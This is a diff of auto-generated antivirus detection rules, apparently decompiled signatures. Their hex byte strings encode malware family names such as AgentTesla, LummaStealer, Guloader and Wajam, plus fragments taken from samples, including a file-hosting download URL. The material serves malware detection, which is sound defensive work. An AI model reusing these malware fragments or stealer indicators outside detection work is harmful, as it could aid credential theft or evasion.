_InfrastructureShared_13397{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 07 00 21 " + + strings : + $a_46_0 = {45 78 70 6c 6f 69 74 3a 57 69 6e 36 34 2f 41 6c 61 43 61 72 74 65 2e 4b 63 74 2e 48 6f 6f 6b 2e 54 65 62 21 64 68 61 00 02 00 14 23 25 30 00 00 00 90 02 4b 60 90 02 4b 58 90 02 4b ff 15 90 00 9c ff 0d 80 01 43 56 45 2d 32 30 32 } //16675 + $a_37_1 = {32 9c ff 0d 80 01 43 56 45 2d 32 30 31 35 2d 30 30 35 37 9c ff 08 80 01 4d 53 31 35 2d 30 31 30 9c ff 0d 80 01 43 56 45 2d 32 30 31 39 2d 30 38 30 } //11569 + $a_0e_2 = {80 01 43 56 45 2d 32 30 32 32 2d 32 31 38 38 32 9c ff 0c 80 01 54 37 49 6e 74 65 72 6e 61 6c 57 53 00 00 78 b5 00 00 02 00 02 00 0b 00 21 23 48 53 54 52 3a 50 72 6f 67 72 61 6d 3a 57 69 6e 33 32 2f 50 61 6d 65 73 65 67 21 53 74 72 69 6e 67 73 00 01 00 12 03 53 65 6e 64 53 4d 53 90 02 01 53 74 72 69 6e 67 90 00 01 00 0a 01 30 39 33 30 33 39 39 39 39 39 01 00 07 01 31 36 34 35 39 37 36 01 00 08 01 31 39 39 39 35 35 37 37 01 00 07 01 32 34 30 36 34 31 35 01 00 06 01 34 38 33 32 33 33 01 00 06 01 36 37 36 38 34 39 01 00 07 01 38 31 30 39 35 38 30 01 00 08 01 39 30 36 34 35 30 34 35 01 00 07 01 39 30 39 30 31 39 39 01 00 08 01 39 31 38 31 30 37 30 30 00 00 78 b5 00 00 03 00 03 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 52 65 64 4c 69 6e } //-25549 + $a_4d_3 = {4d 54 42 00 03 00 4d 01 61 00 75 00 74 00 6f 00 66 00 69 00 6c 00 6c 00 50 00 72 00 6f 00 66 00 69 00 6c 00 65 00 73 00 54 00 6f 00 74 00 61 00 6c 00 20 00 6f 00 66 00 20 00 52 00 41 00 4d 00 56 00 50 00 45 } //11877 + $a_00_5 = {79 00 31 00 32 00 4e 03 00 36 03 2e 72 73 72 63 00 00 00 90 01 01 9b 00 00 00 00 08 00 00 9c 00 00 00 90 01 01 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 90 00 00 00 78 b5 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 42 6f 61 74 42 61 62 62 6c 65 2e 42 21 64 68 61 00 01 00 2e 03 } //105 + $a_00_6 = {49 00 4e 00 4a 00 2d 00 53 00 54 00 47 00 2d 00 46 00 45 00 30 00 90 28 01 00 5c 00 69 00 6d 00 61 00 67 00 65 00 73 00 90 00 01 00 32 01 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 55 00 70 00 64 00 61 00 74 00 65 00 53 00 65 00 72 00 76 00 69 00 63 00 65 00 5c 00 65 00 } //92 + condition: + ((#a_46_0 & 1)*16675+(#a_37_1 & 1)*11569+(#a_0e_2 & 1)*-25549+(#a_4d_3 & 1)*11877+(#a_00_5 & 1)*105+(#a_00_6 & 1)*92) >=2 + +} +rule _InfrastructureShared_13398{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 0b 00 21 " @@ -140368,7 +149695,7 @@ rule _InfrastructureShared_12576{ ((#a_54_0 & 1)*18467+(#a_35_1 & 1)*14649+(#a_39_2 & 1)*1792+(#a_39_3 & 1)*12592+(#a_01_4 & 1)*3+(#a_03_5 & 1)*3+(#a_b5_6 & 1)*0+(#a_00_7 & 1)*116+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1) >=2 } -rule _InfrastructureShared_12577{ +rule _InfrastructureShared_13399{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 21 " @@ -140378,7 +149705,7 @@ rule _InfrastructureShared_12577{ ((#a_54_0 & 1)*18467) >=3 } -rule _InfrastructureShared_12578{ +rule _InfrastructureShared_13400{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -140389,7 +149716,7 @@ rule _InfrastructureShared_12578{ ((#a_46_0 & 1)*16675+(#a_5c_2 & 1)*12800) >=3 } -rule _InfrastructureShared_12579{ +rule _InfrastructureShared_13401{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -140401,7 +149728,7 @@ rule _InfrastructureShared_12579{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*75+(#a_4b_2 & 1)*21076) >=3 } -rule _InfrastructureShared_12580{ +rule _InfrastructureShared_13402{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -140414,7 +149741,7 @@ rule _InfrastructureShared_12580{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*102+(#a_65_3 & 1)*24946+(#a_65_4 & 1)*11891) >=3 } -rule _InfrastructureShared_12581{ +rule _InfrastructureShared_13403{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " @@ -140428,7 +149755,7 @@ rule _InfrastructureShared_12581{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*2560+(#a_6f_2 & 1)*23087+(#a_00_4 & 1)*95+(#a_00_5 & 1)*28737) >=3 } -rule _InfrastructureShared_12582{ +rule _InfrastructureShared_13404{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " @@ -140442,7 +149769,7 @@ rule _InfrastructureShared_12582{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*58+(#a_00_3 & 1)*112+(#a_69_4 & 1)*20814+(#a_89_5 & 1)*1130) >=3 } -rule _InfrastructureShared_12583{ +rule _InfrastructureShared_13405{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " @@ -140457,7 +149784,7 @@ rule _InfrastructureShared_12583{ ((#a_54_0 & 1)*18467+(#a_8d_1 & 1)*772+(#a_80_2 & 1)*1+(#a_b5_3 & 1)*0+(#a_51_4 & 1)*19851+(#a_08_5 & 1)*-29854) >=3 } -rule _InfrastructureShared_12584{ +rule _InfrastructureShared_13406{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 07 00 21 " @@ -140473,7 +149800,7 @@ rule _InfrastructureShared_12584{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*384+(#a_3a_2 & 1)*24938+(#a_00_3 & 1)*20744+(#a_f8_4 & 1)*20481+(#a_90_5 & 1)*-29951+(#a_04_6 & 1)*-28540) >=3 } -rule _InfrastructureShared_12585{ +rule _InfrastructureShared_13407{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 0a 00 21 " @@ -140491,7 +149818,7 @@ rule _InfrastructureShared_12585{ ((#a_46_0 & 1)*16675+(#a_8b_1 & 1)*20011+(#a_8b_2 & 1)*400+(#a_c0_3 & 1)*257+(#a_74_4 & 1)*385+(#a_52_6 & 1)*21320+(#a_72_7 & 1)*26414+(#a_41_8 & 1)*26195+(#a_52_9 & 1)*29541) >=3 } -rule _InfrastructureShared_12586{ +rule _InfrastructureShared_13408{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 01 00 21 " @@ -140501,7 +149828,7 @@ rule _InfrastructureShared_12586{ ((#a_46_0 & 1)*16675) >=4 } -rule _InfrastructureShared_12587{ +rule _InfrastructureShared_13409{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -140513,7 +149840,7 @@ rule _InfrastructureShared_12587{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*28784+(#a_74_2 & 1)*385) >=4 } -rule _InfrastructureShared_12588{ +rule _InfrastructureShared_13410{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -140526,7 +149853,7 @@ rule _InfrastructureShared_12588{ ((#a_54_0 & 1)*18467+(#a_67_1 & 1)*18549+(#a_66_2 & 1)*27694+(#a_76_3 & 1)*385) >=4 } -rule _InfrastructureShared_12589{ +rule _InfrastructureShared_13411{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -140539,7 +149866,7 @@ rule _InfrastructureShared_12589{ ((#a_54_0 & 1)*18467+(#a_24_1 & 1)*-32475+(#a_38_2 & 1)*24887+(#a_51_3 & 1)*27756) >=4 } -rule _InfrastructureShared_12590{ +rule _InfrastructureShared_13412{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -140552,7 +149879,7 @@ rule _InfrastructureShared_12590{ ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*26995+(#a_2e_2 & 1)*25956+(#a_6c_3 & 1)*29545) >=4 } -rule _InfrastructureShared_12591{ +rule _InfrastructureShared_13413{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -140565,7 +149892,7 @@ rule _InfrastructureShared_12591{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*6912+(#a_48_2 & 1)*-15291+(#a_00_3 & 1)*4) >=4 } -rule _InfrastructureShared_12592{ +rule _InfrastructureShared_13414{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -140578,7 +149905,7 @@ rule _InfrastructureShared_12592{ ((#a_4c_0 & 1)*21539+(#a_8b_1 & 1)*-16021+(#a_ff_2 & 1)*-6075+(#a_62_3 & 1)*19807) >=4 } -rule _InfrastructureShared_12593{ +rule _InfrastructureShared_13415{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -140591,7 +149918,7 @@ rule _InfrastructureShared_12593{ ((#a_46_0 & 1)*16675+(#a_62_1 & 1)*27951+(#a_74_2 & 1)*24949+(#a_00_4 & 1)*69) >=4 } -rule _InfrastructureShared_12594{ +rule _InfrastructureShared_13416{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -140603,7 +149930,7 @@ rule _InfrastructureShared_12594{ ((#a_6c_0 & 1)*16675+(#a_00_2 & 1)*65+(#a_74_3 & 1)*25959) >=4 } -rule _InfrastructureShared_12595{ +rule _InfrastructureShared_13417{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " @@ -140614,7 +149941,7 @@ rule _InfrastructureShared_12595{ ((#a_54_0 & 1)*18467+(#a_20_1 & 1)*1809) >=5 } -rule _InfrastructureShared_12596{ +rule _InfrastructureShared_13418{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 21 " @@ -140626,7 +149953,7 @@ rule _InfrastructureShared_12596{ ((#a_46_0 & 1)*16675+(#a_c8_1 & 1)*4042+(#a_00_2 & 1)*30720) >=5 } -rule _InfrastructureShared_12597{ +rule _InfrastructureShared_13419{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -140640,21 +149967,35 @@ rule _InfrastructureShared_12597{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*6656+(#a_4d_2 & 1)*16686+(#a_35_3 & 1)*385+(#a_53_4 & 1)*-32506) >=5 } -rule _InfrastructureShared_12598{ +rule _InfrastructureShared_13420{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 34 31 39 21 4d 54 42 00 01 00 15 81 01 52 65 6c 61 79 2e 47 52 45 45 4e 2e 72 65 73 6f 75 72 63 65 73 01 00 24 81 01 52 65 6c 61 79 2e 50 72 6f 70 65 72 74 69 65 73 2e } //18467 - $a_6f_1 = {72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 25 81 01 24 35 30 39 65 39 39 38 32 2d 30 39 32 36 2d 34 33 38 38 2d 39 38 62 30 2d 31 37 64 61 32 35 38 38 34 37 31 63 01 00 06 81 01 53 70 6c 69 74 00 01 00 07 81 01 54 6f 42 79 74 65 00 00 00 78 b5 00 00 05 00 05 00 06 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 53 6f 63 74 75 73 65 65 72 00 01 00 } //25938 - $a_57_2 = {6a } //-32743 j - $a_6e_3 = {65 72 6e 65 74 45 6e 68 61 6e 63 65 72 2e 65 78 65 01 00 0d 80 01 57 41 4a 41 4d 5f 52 45 47 5f 4b 45 59 01 00 0a 80 01 46 61 6b 65 54 75 6e 6e 65 6c 01 00 18 80 01 6e 6f 20 64 65 63 72 79 70 74 69 6f 6e 20 66 6f 72 20 } //28001 - $a_20_4 = {29 01 00 26 80 01 47 6c 6f 62 61 6c 5c 57 61 6a 61 6d 2e 50 72 6f 78 79 2e 41 62 6e 6f 72 6d 61 6c 54 65 72 6d 69 6e 61 74 69 6f 6e 01 00 0b 80 01 57 61 6a 61 6d 4d 75 74 65 78 74 00 00 78 b5 00 00 06 00 06 00 03 00 21 23 48 61 63 6b 74 6f 6f 6c 3a 57 69 6e 33 32 2f 41 63 65 48 61 73 68 21 64 68 61 00 02 00 20 01 4e 4f 20 50 41 53 53 57 4f 52 44 2a } //28537 + $a_6f_1 = {72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 25 81 01 24 35 30 39 65 39 39 38 32 2d 30 39 32 36 2d 34 33 38 38 2d 39 38 62 30 2d 31 37 64 61 32 35 38 38 34 37 31 63 01 00 06 81 01 53 70 6c 69 74 00 01 00 07 81 01 54 6f 42 79 74 65 00 00 00 78 b5 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4d } //25938 + $a_21_2 = {54 42 00 01 00 28 81 01 6f 70 6c 72 69 6e 67 73 74 69 64 65 6e 73 20 74 61 62 73 6b 6f 6e 74 69 65 6e 65 20 68 61 6b 6b 65 6f 72 64 65 6e 65 6e 01 } //12364 + $a_01_3 = {74 69 74 61 6c 73 6c 6f 67 61 72 69 74 6d 65 73 01 00 0f 81 01 72 65 64 75 63 74 69 6f 6e 61 6c 2e 65 78 65 01 00 1b 81 01 64 69 72 65 63 74 6f 72 79 65 74 20 73 76 69 6e 6b 65 72 65 6e 64 65 72 6e 65 73 01 00 12 81 01 5c 45 73 63 68 65 76 65 5c 72 65 6e 6b 79 2e 69 6e 69 00 00 78 b5 00 00 05 00 05 00 06 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 53 6f 63 74 75 73 65 65 72 00 01 00 19 80 } //4096 + $a_6a_4 = {6d 49 6e 74 65 72 6e 65 74 45 6e 68 61 6e 63 65 72 2e 65 78 65 01 00 0d 80 01 57 41 4a 41 4d 5f 52 45 47 5f 4b 45 59 01 00 0a 80 01 46 61 6b 65 54 75 6e 6e 65 6c 01 00 18 80 01 6e 6f 20 64 65 63 72 79 70 74 69 6f 6e 20 66 6f 72 20 79 6f 75 20 3a 29 01 00 26 80 01 47 6c 6f 62 61 6c 5c 57 61 } //22273 condition: - ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*25938+(#a_57_2 & 1)*-32743+(#a_6e_3 & 1)*28001+(#a_20_4 & 1)*28537) >=5 + ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*25938+(#a_21_2 & 1)*12364+(#a_01_3 & 1)*4096+(#a_6a_4 & 1)*22273) >=5 } -rule _InfrastructureShared_12599{ +rule _InfrastructureShared_13421{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4d 4c 30 31 21 4d 54 42 00 01 00 28 81 01 6f 70 6c 72 69 6e 67 73 74 69 64 65 6e 73 20 74 61 62 73 6b 6f 6e 74 69 65 6e 65 20 68 61 6b 6b 65 6f 72 64 65 6e 65 6e 01 00 10 81 01 74 69 74 61 6c 73 6c } //18467 + $a_72_1 = {74 6d 65 73 01 00 0f 81 01 72 65 64 75 63 74 69 6f 6e 61 6c 2e 65 78 65 01 00 1b 81 01 64 69 72 65 63 74 6f 72 79 65 74 20 73 76 69 6e 6b 65 72 65 6e 64 65 72 6e 65 73 01 00 12 81 01 5c 45 73 63 68 65 76 65 5c 72 65 6e 6b 79 2e 69 6e 69 00 00 78 b5 00 00 05 00 05 00 06 00 21 23 50 55 41 3a } //26479 + $a_63_2 = {3a 53 6f 63 74 75 73 65 65 72 00 01 00 19 80 01 57 61 6a 61 6d 49 6e 74 65 72 6e 65 74 45 6e 68 61 6e 63 65 72 2e 65 78 65 01 00 0d 80 01 57 41 4a 41 4d 5f 52 45 47 5f 4b 45 59 01 00 0a 80 01 46 61 6b 65 54 75 6e 6e 65 6c 01 00 18 80 01 6e 6f 20 64 65 63 72 79 70 74 69 6f 6e 20 66 6f 72 20 79 6f 75 20 3a 29 01 00 26 80 01 47 6c 6f } //27714 + $a_5c_3 = {61 6a 61 6d 2e 50 72 6f 78 79 2e 41 62 6e 6f 72 6d 61 6c 54 65 72 6d 69 6e 61 74 69 6f 6e 01 00 0b 80 01 57 61 6a 61 6d 4d 75 74 65 78 74 00 00 78 b5 00 00 06 00 06 00 03 00 21 23 48 61 63 6b 74 6f 6f 6c 3a 57 69 6e 33 32 2f 41 63 65 48 61 73 68 21 64 68 61 00 02 00 20 01 4e 4f 20 50 41 53 53 57 4f 52 44 2a 2a 2a 2a 2a 2a } //24930 + $a_2a_4 = {2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 02 00 45 01 48 6f 73 74 20 20 20 20 20 20 20 20 20 20 20 54 79 70 65 20 20 20 20 20 20 20 20 20 } //10794 + condition: + ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*26479+(#a_63_2 & 1)*27714+(#a_5c_3 & 1)*24930+(#a_2a_4 & 1)*10794) >=5 + +} +rule _InfrastructureShared_13422{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " @@ -140668,7 +150009,7 @@ rule _InfrastructureShared_12599{ ((#a_41_0 & 1)*20515+(#a_65_1 & 1)*8303+(#a_33_2 & 1)*26967+(#a_20_3 & 1)*8224+(#a_5f_4 & 1)*17998) >=5 } -rule _InfrastructureShared_12600{ +rule _InfrastructureShared_13423{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 03 00 21 " @@ -140680,7 +150021,7 @@ rule _InfrastructureShared_12600{ ((#a_63_0 & 1)*18467+(#a_20_1 & 1)*29285+(#a_61_2 & 1)*287) >=6 } -rule _InfrastructureShared_12601{ +rule _InfrastructureShared_13424{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -140695,7 +150036,7 @@ rule _InfrastructureShared_12601{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*17153+(#a_00_2 & 1)*11890+(#a_11_3 & 1)*-16881+(#a_e4_4 & 1)*-30228+(#a_70_5 & 1)*24936) >=6 } -rule _InfrastructureShared_12602{ +rule _InfrastructureShared_13425{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 07 00 21 " @@ -140709,7 +150050,7 @@ rule _InfrastructureShared_12602{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*17803+(#a_0c_2 & 1)*4076+(#a_00_4 & 1)*115+(#a_00_5 & 1)*21581) >=6 } -rule _InfrastructureShared_12603{ +rule _InfrastructureShared_13426{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 08 00 21 " @@ -140724,7 +150065,7 @@ rule _InfrastructureShared_12603{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*99+(#a_00_3 & 1)*58+(#a_61_4 & 1)*28530+(#a_65_5 & 1)*28486+(#a_6d_6 & 1)*27768) >=6 } -rule _InfrastructureShared_12604{ +rule _InfrastructureShared_13427{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -140739,7 +150080,7 @@ rule _InfrastructureShared_12604{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*28271+(#a_50_2 & 1)*12851+(#a_64_3 & 1)*273+(#a_6f_5 & 1)*27768+(#a_80_6 & 1)*400) >=7 } -rule _InfrastructureShared_12605{ +rule _InfrastructureShared_13428{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -140755,7 +150096,7 @@ rule _InfrastructureShared_12605{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*25701+(#a_50_2 & 1)*26736+(#a_80_3 & 1)*1025+(#a_01_4 & 1)*32414+(#a_48_5 & 1)*-21816+(#a_72_6 & 1)*8308) >=7 } -rule _InfrastructureShared_12606{ +rule _InfrastructureShared_13429{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 04 00 21 " @@ -140768,7 +150109,7 @@ rule _InfrastructureShared_12606{ ((#a_54_0 & 1)*18467+(#a_7e_1 & 1)*1025+(#a_90_2 & 1)*-24943+(#a_b6_3 & 1)*-21312) >=8 } -rule _InfrastructureShared_12607{ +rule _InfrastructureShared_13430{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 04 00 21 " @@ -140781,7 +150122,7 @@ rule _InfrastructureShared_12607{ ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=8 } -rule _InfrastructureShared_12608{ +rule _InfrastructureShared_13431{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 07 00 21 " @@ -140795,7 +150136,7 @@ rule _InfrastructureShared_12608{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*29441+(#a_6f_2 & 1)*29806+(#a_43_3 & 1)*25927+(#a_68_5 & 1)*16128) >=8 } -rule _InfrastructureShared_12609{ +rule _InfrastructureShared_13432{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -140803,16 +150144,16 @@ rule _InfrastructureShared_12609{ $a_54_0 = {3a 49 6e 74 65 6e 74 54 6f 4d 61 6c 2e 41 00 01 00 11 80 01 49 73 44 65 62 75 67 67 65 72 50 72 65 73 65 6e 74 01 00 0d 80 01 66 69 6e 64 66 69 72 73 74 66 69 6c 65 01 00 12 80 01 47 65 74 43 75 72 72 65 6e 74 54 68 72 65 61 64 49 64 01 00 06 80 01 } //18467 $a_6f_1 = {65 01 00 13 80 01 47 65 74 43 75 72 72 65 6e 74 50 72 6f 63 65 73 73 49 64 01 00 09 80 01 77 72 69 74 65 66 69 6c 65 01 00 0e 80 01 72 65 67 73 65 74 76 61 6c 75 65 65 78 61 01 00 10 80 01 74 65 72 6d 69 6e 61 74 65 70 72 6f 63 65 73 73 00 00 78 b5 00 00 0a 00 0a 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c } //28233 $a_56_2 = {30 31 21 4d 54 42 00 0a 00 3f 03 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 66 00 69 00 6c 00 65 00 73 00 2e 00 63 00 61 00 74 00 62 00 6f 00 78 00 2e 00 6d 00 6f 00 65 00 2f 00 90 02 28 2e 00 6d 00 70 00 34 00 90 00 0a 00 3f 03 68 00 74 00 } //11873 - $a_00_3 = {73 00 3a 00 2f 00 2f 00 66 00 69 00 6c 00 65 00 73 00 2e 00 63 00 61 00 74 00 62 00 6f 00 78 00 2e 00 6d 00 6f 00 65 00 2f 00 90 02 28 2e 00 77 00 61 00 76 00 90 00 00 00 78 b5 00 00 0a 00 0a 00 04 00 21 23 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 44 4d 21 4d 54 42 00 0a 00 16 01 47 96 6e 8a 73 46 } //116 - $a_33_4 = {2c 32 cb 59 58 58 2e ad 2c 22 cf 0a 00 1c 01 89 f8 83 e0 02 89 f9 83 cf 02 0f af f8 83 f0 02 83 e1 fd 0f af c8 01 cf 83 ff 04 72 0a 00 32 01 0f b6 d2 c1 e1 05 81 e1 e0 7f 00 00 31 d1 0f b7 94 4e 72 92 02 00 89 c7 81 e7 ff 7f 00 00 66 89 94 7e 72 92 01 00 89 da 42 66 89 84 4e 72 92 02 00 45 0a 00 16 01 c5 0e 04 45 0b 03 56 01 0e b0 01 43 0e c0 01 02 8c 0a 0e 14 41 c3 00 00 78 b5 00 00 0b 00 0b 00 0b 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 53 70 79 3a 57 69 6e 33 32 2f 53 70 79 6e 6f 6f 6e 2e 53 54 } //13717 - $a_00_5 = {01 00 0a 01 62 74 67 7a 6c 76 62 6a 73 73 01 00 0a 01 63 6a 71 6e 78 66 6f 67 66 74 01 00 05 01 64 75 71 72 67 01 00 08 01 69 70 74 65 79 66 6b 62 } //13637 - $a_01_6 = {6e 65 73 69 67 7a 76 76 } //1 nesigzvv - $a_01_7 = {6e 79 66 79 75 6f 64 } //1 nyfyuod + $a_00_3 = {73 00 3a 00 2f 00 2f 00 66 00 69 00 6c 00 65 00 73 00 2e 00 63 00 61 00 74 00 62 00 6f 00 78 00 2e 00 6d 00 6f 00 65 00 2f 00 90 02 28 2e 00 77 00 61 00 76 00 90 00 00 00 78 b5 00 00 0b 00 0b 00 0b 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 53 70 79 3a 57 69 6e 33 32 2f 53 70 79 6e 6f 6f 6e 2e 53 54 45 35 31 00 01 00 0a 01 62 74 67 7a } //116 + $a_6a_4 = {73 01 00 0a 01 63 6a 71 6e 78 66 6f 67 66 74 01 00 05 01 64 75 71 72 67 01 00 08 01 69 70 74 65 79 66 6b 62 01 00 08 01 6e 65 73 69 67 7a 76 76 01 00 07 01 6e 79 66 79 75 6f 64 01 00 0a 01 72 6f 69 63 6c 77 67 68 76 76 01 00 08 01 72 74 77 75 61 6f 6e 78 01 00 05 01 75 63 6d 71 65 01 00 08 01 } //30316 + $a_6d_5 = {68 66 79 01 00 0d 01 2e 72 64 61 74 61 24 7a 7a 7a 64 62 67 00 00 78 b5 00 00 0c 00 0c 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 42 6c 61 64 61 62 69 6e 64 69 2e 5a 5a 50 21 4d 54 42 00 0a 00 5d 03 0a 25 fe 09 01 00 28 90 01 01 00 00 0a fe 09 02 00 28 90 01 01 00 00 0a 6f 90 01 01 00 00 0a 25 fe 0c 00 00 20 00 00 00 00 fe 0c } //25974 + $a_69_6 = {90 01 01 00 00 0a fe 0e 01 00 6f 90 01 01 00 00 0a 6f 90 01 01 00 00 0a 28 90 01 01 00 00 0a fe 0c 01 00 6f 90 01 01 00 00 0a 2a 90 00 01 00 10 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 0f 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 00 00 78 b5 00 00 0d 00 0d 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 47 51 21 4d 54 42 00 0a 00 38 02 25 16 03 } //0 + $a_04_7 = {9e 28 90 01 04 0a 02 19 8d 90 01 04 25 16 06 9e 25 17 04 9e 25 18 05 } //9630 condition: - ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*28233+(#a_56_2 & 1)*11873+(#a_00_3 & 1)*116+(#a_33_4 & 1)*13717+(#a_00_5 & 1)*13637+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1) >=8 + ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*28233+(#a_56_2 & 1)*11873+(#a_00_3 & 1)*116+(#a_6a_4 & 1)*30316+(#a_6d_5 & 1)*25974+(#a_69_6 & 1)*0+(#a_04_7 & 1)*9630) >=8 } -rule _InfrastructureShared_12610{ +rule _InfrastructureShared_13433{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 21 " @@ -140822,37 +150163,37 @@ rule _InfrastructureShared_12610{ ((#a_46_0 & 1)*16675) >=10 } -rule _InfrastructureShared_12611{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 04 00 21 " - - strings : - $a_6f_0 = {61 6e 3a 57 69 6e 33 32 2f 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 44 4d 21 4d 54 42 00 0a 00 16 01 47 96 6e 8a 73 46 95 35 a8 33 66 2c 32 cb 59 58 58 2e ad 2c 22 cf 0a 